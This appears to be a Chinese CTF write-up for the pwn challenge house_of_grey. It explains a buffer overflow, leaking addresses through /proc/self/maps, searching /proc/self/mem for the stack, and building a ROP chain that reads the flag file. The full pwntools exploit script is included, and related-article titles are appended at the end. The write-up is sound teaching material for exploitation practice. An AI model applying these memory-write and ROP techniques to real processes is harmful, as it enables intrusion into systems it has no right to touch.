house_of_grey

首先,检查一下程序的保护机制,发现保护全开

然后,我们用IDA分析一下

发现是一个读取文件并显示的程序,除了flag文件,其他文件都可以读取

程序有个缓冲区溢出漏洞

可以溢出,修改v8指针,然后我们就可以利用功能4,实现任意地址写

由于可以读取除了flag之外的文件,那么我们可以读取/proc/self/maps文件

Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。读取/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。/proc/self/mem是进程的内存内容通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取,需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。

同样的,我们也可以通过写入mem文件来直接写入内存,例如直接修改代码段,放入我们的shellcode,从而在程序流程执行到这一步时执行shellcode来拿shell

那么,我们先来测试一下

我们得到了各个段的地址,由此,我们可以绕过PIE,以及利用/proc/self/mem来读取任意地址的内容。

为了确定本程序能否getshell,我们检测一下execve系统调用有没有被禁用

发现execve被禁用,那么我们就不能用system这些来getshell,我们可以构造ROP,把flag文件读取到内存中,再输出来。

然后,我们再看看程序

程序最后有一个exit(0),由此,覆盖fn函数的返回地址来构造ROP不可行,我们可以覆盖read函数的返回地址,也就是调用read任意写时,把自己的返回地址给覆盖了,这样ROP写入后就直接开始执行了。为了覆盖read的返回地址,我们就需要确定栈的地址。

但是,由于程序是clone出来的,第三个参数指定了clone出的进程的栈地址,程序一开始用mmap映射了一段内存,然后取了其中的一个随机的位置传给了clone,由此,我们不知道程序的栈地址。但是,我们可以通过读取/proc/self/mem文件,来搜索标记,已确定程序的栈地址。

标记就是”/proc/self/maps”字符串,因为buf里保存了这个字符串,当我们在内存中搜索到这个字符串时,当前位置就是buf的栈地址,由此,我们就可以计算出其他的栈地址。

那么,我们先来获取一些需要的地址信息

  1. enterRoom()
  2. setPath('/proc/self/maps')
  3. readSomething(2000)
  4. sh.recvuntil('You get something:\n')
  5. #解析程序的加载地址,以及mmap内存出的地址
  6. elf_base = int(sh.recvuntil('-').split('-')[0],16)
  7. pop_rdi = elf_base + pop_s_rdi
  8. pop_rsi = elf_base + pop_s_rsi
  9. open_addr = elf_base + open_s_plt
  10. read_addr = elf_base + read_s_plt
  11. puts_addr = elf_base + puts_s_plt
  12. while True:
  13. line = sh.recvline()
  14. if 'heap' in line:
  15. #接下来这一行就是mmap出的内存的信息
  16. line = sh.recvline()
  17. mmap_start = int(line.split('-')[0],16)
  18. mmap_end = int(line.split('-')[1].split(' ')[0],16)
  19. break

接下来,我们就需要读取/proc/self/mem来搜索内存,确定栈地址了

程序只能执行30次功能调用,之前已经用了4次,最后我们还需要用2次,那么我们搜索就最多24次,

而我们每次最多允许读取100000个字节的数据,由此,我们能搜索2400000个字节的内容,通过IDA调试,观察buf的栈地址,计算它与mmap_end的值的差值,做一个大致的范围,由于栈是从高往低增长的,因此,我们应该从mmap_end – x ~ mmap_end搜索,其中x是一个范围。

那么,我们就开始搜索吧

  1. #现在解析出clone的那个程序的stack地址
  2. stack_end = mmap_end
  3. stack_start = mmap_start
  4. #范围偏差
  5. offset = 0xf800000
  6. #区间范围begin_off~stack_end里搜索
  7. begin_off = stack_end - offset - 24 * 100000
  8. setPath('/proc/self/mem')
  9. seekTo(begin_off)
  10. print 'begin->',hex(begin_off),'to',hex(stack_end)
  11. #在内存的范围内搜索,如果找到了/proc/self/mem这个字符串,说明当前地址就是buf的栈地址
  12. for i in range(0,24):
  13. readSomething(100000)
  14. content = sh.recvuntil('1.Find ')[:-7]
  15. if '/proc/self/mem' in content:
  16. print 'found!'
  17. arr = content.split('/proc/self/mem')[0]
  18. break
  19. if i == 23:
  20. print '未能成功确定v8的地址,请重试!'
  21. exit(0)
  22. #获得了v8的地址,可以将它里面的内容,实现任意地址写
  23. v8_addr = begin_off + i * 100000 + len(arr) + 5
  24. print 'v8 addr=',hex(v8_addr)
  25. read_ret = v8_addr - 0x50

现在,得到了存放read的返回地址的栈地址,我们就可以写ROP了

  1. #覆盖v8指针内容为存放read返回地址的栈地址
  2. payload = '/proc/self/mem'.ljust(24,'\x00') + p64(read_ret)
  3. setPath(payload)
  4. #接下来,我们可以写rop了(v8_addr-24+15处就是/home/ctf/flag字符串)
  5. rop = p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(pop_rsi) + p64(0) + p64(0) + p64(open_addr)
  6. #我们打开的文件,描述符为6
  7. rop += p64(pop_rdi) + p64(6) + p64(pop_rsi) + p64(read_ret + 15 * 8) + p64(0) + p64(read_addr)
  8. rop += p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(puts_addr)
  9. rop += '/home/ctf/flag\x00'
  10. giveSomething(rop)

然后,我们就得到了flag

综上,我们的exp脚本如下

  1. #coding:utf8
  2. from pwn import *
  3. sh = process('./pwnh35')
  4. #sh = remote('111.198.29.45',37518)
  5. elf = ELF('./pwnh35')
  6. libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
  7. open_s_plt = elf.plt['open']
  8. read_s_plt = elf.plt['read']
  9. puts_s_plt = elf.plt['puts']
  10. #pop rdi
  11. #pop r15
  12. #retn
  13. pop_s_rsi = 0x1821
  14. #pop rdi
  15. #retn
  16. pop_s_rdi = 0x1823
  17. def enterRoom():
  18. sh.sendlineafter('Do you want to help me build my room? Y/n?\n','Y')
  19. def setPath(content):
  20. sh.sendlineafter('5.Exit\n','1')
  21. sh.sendlineafter('So man, what are you finding?\n',content)
  22. def seekTo(pos):
  23. sh.sendlineafter('5.Exit\n','2')
  24. sh.sendlineafter('So, Where are you?\n',str(pos))
  25. def readSomething(length):
  26. sh.sendlineafter('5.Exit\n','3')
  27. sh.sendlineafter('How many things do you want to get?\n',str(length))
  28. def giveSomething(content):
  29. sh.sendlineafter('5.Exit\n','4')
  30. sh.sendlineafter('content:',content)
  31. enterRoom()
  32. setPath('/proc/self/maps')
  33. readSomething(2000)
  34. sh.recvuntil('You get something:\n')
  35. #解析程序的加载地址,以及mmap内存出的地址
  36. elf_base = int(sh.recvuntil('-').split('-')[0],16)
  37. pop_rdi = elf_base + pop_s_rdi
  38. pop_rsi = elf_base + pop_s_rsi
  39. open_addr = elf_base + open_s_plt
  40. read_addr = elf_base + read_s_plt
  41. puts_addr = elf_base + puts_s_plt
  42. while True:
  43. line = sh.recvline()
  44. if 'heap' in line:
  45. #接下来这一行就是mmap出的内存的信息
  46. line = sh.recvline()
  47. mmap_start = int(line.split('-')[0],16)
  48. mmap_end = int(line.split('-')[1].split(' ')[0],16)
  49. break
  50. #现在解析出clone的那个程序的stack地址
  51. stack_end = mmap_end
  52. stack_start = mmap_start
  53. #范围偏差
  54. offset = 0xf800000
  55. #区间范围begin_off~stack_end里搜索
  56. begin_off = stack_end - offset - 24 * 100000
  57. setPath('/proc/self/mem')
  58. seekTo(begin_off)
  59. print 'begin->',hex(begin_off),'to',hex(stack_end)
  60. #在内存的范围内搜索,如果找到了/proc/self/mem这个字符串,说明当前地址就是buf的栈地址
  61. for i in range(0,24):
  62. readSomething(100000)
  63. content = sh.recvuntil('1.Find ')[:-7]
  64. if '/proc/self/mem' in content:
  65. print 'found!'
  66. arr = content.split('/proc/self/mem')[0]
  67. break
  68. if i == 23:
  69. print '未能成功确定v8的地址,请重试!'
  70. exit(0)
  71. #获得了v8的地址,可以将它里面的内容,实现任意地址写
  72. v8_addr = begin_off + i * 100000 + len(arr) + 5
  73. print 'v8 addr=',hex(v8_addr)
  74. read_ret = v8_addr - 0x50
  75. #覆盖v8指针内容为存放read返回地址的栈地址
  76. payload = '/proc/self/mem'.ljust(24,'\x00') + p64(read_ret)
  77. setPath(payload)
  78. #接下来,我们可以写rop了(v8_addr-24+15处就是/home/ctf/flag字符串)
  79. rop = p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(pop_rsi) + p64(0) + p64(0) + p64(open_addr)
  80. #我们打开的文件,描述符为6
  81. rop += p64(pop_rdi) + p64(6) + p64(pop_rsi) + p64(read_ret + 15 * 8) + p64(0) + p64(read_addr)
  82. rop += p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(puts_addr)
  83. rop += '/home/ctf/flag\x00'
  84. giveSomething(rop)
  85. sh.interactive()

本题,我对maps和mem文件有了进一步的了解,其中maps文件里有程序的加载地址信息,mem是程序的内存映射。

攻防世界PWN之house_of_grey题解相关推荐

  1. 攻防世界PWN之cnss题解

    Cnss 首先,我们检查一下程序的保护机制 然后,我们用IDA分析一下,发现是一个服务器程序,每接收到连接请求后就会fork一个子进程来处理. 代码太长,看似很复杂 我们发现eval函数存在栈溢出,并 ...

  2. 攻防世界PWN之boi题解

    Boi 首先,检查一下程序的保护机制 然后,我们用IDA分析一下 看似很复杂,我们发现这是一个服务器程序,并且一开始要发送特殊指令,才能显示出菜单 套接字初始化,绑定了本地端口0x539也就是1337 ...

  3. realloc函数UAF利用|攻防世界pwn进阶区supermarket

    文章目录 思路 0x00.tar解压 0x01.查看保护 0x02.查看程序并调试 0x03.漏洞分析 realloc函数详解 0x04.利用思路 利用过程 exp-1 解法二 函数须知 0x00.查 ...

  4. 攻防世界 Pwn 进阶 第二页

    00 这文章更重要的是对这些题进行一个总结,说一些值得注意的地方,写一些自己的理解. 为了形成一个体系,想将前面学过的一些东西都拉来放在一起总结总结,方便学习,方便记忆. 攻防世界 Pwn 新手 攻防 ...

  5. 攻防世界(Pwn) forgot---栈溢出;(方法二)

    攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...

  6. 攻防世界(Pwn) forgot---栈溢出;(方法一)

    攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...

  7. [攻防世界 pwn]——pwn1(内涵peak小知识)

    [攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...

  8. [攻防世界 pwn]——实时数据监测

    [攻防世界 pwn]--实时数据监测 题目地址:https://adworld.xctf.org.cn/ 题目: checksec就不说了,没什么 ida中 只要将key里面的值修改为35795746 ...

  9. [攻防世界 pwn]——monkey

    [攻防世界 pwn]--monkey 题目地址:https://adworld.xctf.org.cn/ 题目: 额,怎么说呢这道题.checksec没什么大不了的 但是再IDA中就懵了,好大呀.好多 ...

最新文章

  1. python模块之HTMLParser之穆雪峰的案例(理解其用法原理)
  2. 1023 组个最小数 (20 分)(c语言)
  3. 【android】静态链接器/加载器(ld) 动态加载器(/system/bin/linker)+动态加载接口(dlopen)
  4. .NET Core Run On Docker By Kubernetes 系列文章汇总
  5. mysql 表丢失_Mysql数据库备份 部分数据表丢失 Mysql table doesn't exist 解决
  6. 基于python的聊天软件的设计与实现_Python基于TCP实现会聊天的小机器人功能示例...
  7. 【Windows】DACL SACL
  8. java读写锁死锁例子_Java并发关于重入锁与读写锁的详解
  9. Linux 命令(85)—— md5sum 命令
  10. 考研英语作文:环保呼吁信
  11. PHP留言板之提交留言
  12. java将html转为word文档,java html转换为word文档
  13. PHP连接mysql数据库报错:Call to undefined function mysql_connect()
  14. 北京世园会率先启用5G技术 中国馆优雅呈现
  15. java cap是什么_分布式CAP是什么?它的原理是什么?
  16. deepin firewall
  17. 2021最新 python爬取12306列车信息自动抢票并自动识别验证码(三)购票篇
  18. 刀片服务器如何选择操作系统,刀片服务器如何选择操作系统?
  19. sel2000服务器自动关闭,管家婆辉煌:轻松处理SQL 2000数据库自动停止
  20. 毕业薪酬行业第一?计算机+金融交叉学科真香

热门文章

  1. SMTP协议解读以及如何使用SMTP协议发送电子邮件
  2. 英语不好怎么快乐的码代码! 快来跟我一起学英语吧
  3. 多图上传以及多图排序的方法及流程详解
  4. 关于ATM渗透与欺诈的知识点Part 1
  5. 荣耀Play6T配置怎么样 荣耀Play6T值得买吗
  6. 《疯狂Java讲义》读书笔记2
  7. 别眼红马云,看看你能不能像他一样跨过这十道槛?
  8. 「代码家」的学习过程和学习经验分享【转】
  9. K8s(Kubernetes)架构笔记
  10. 读书笔记-人月神话1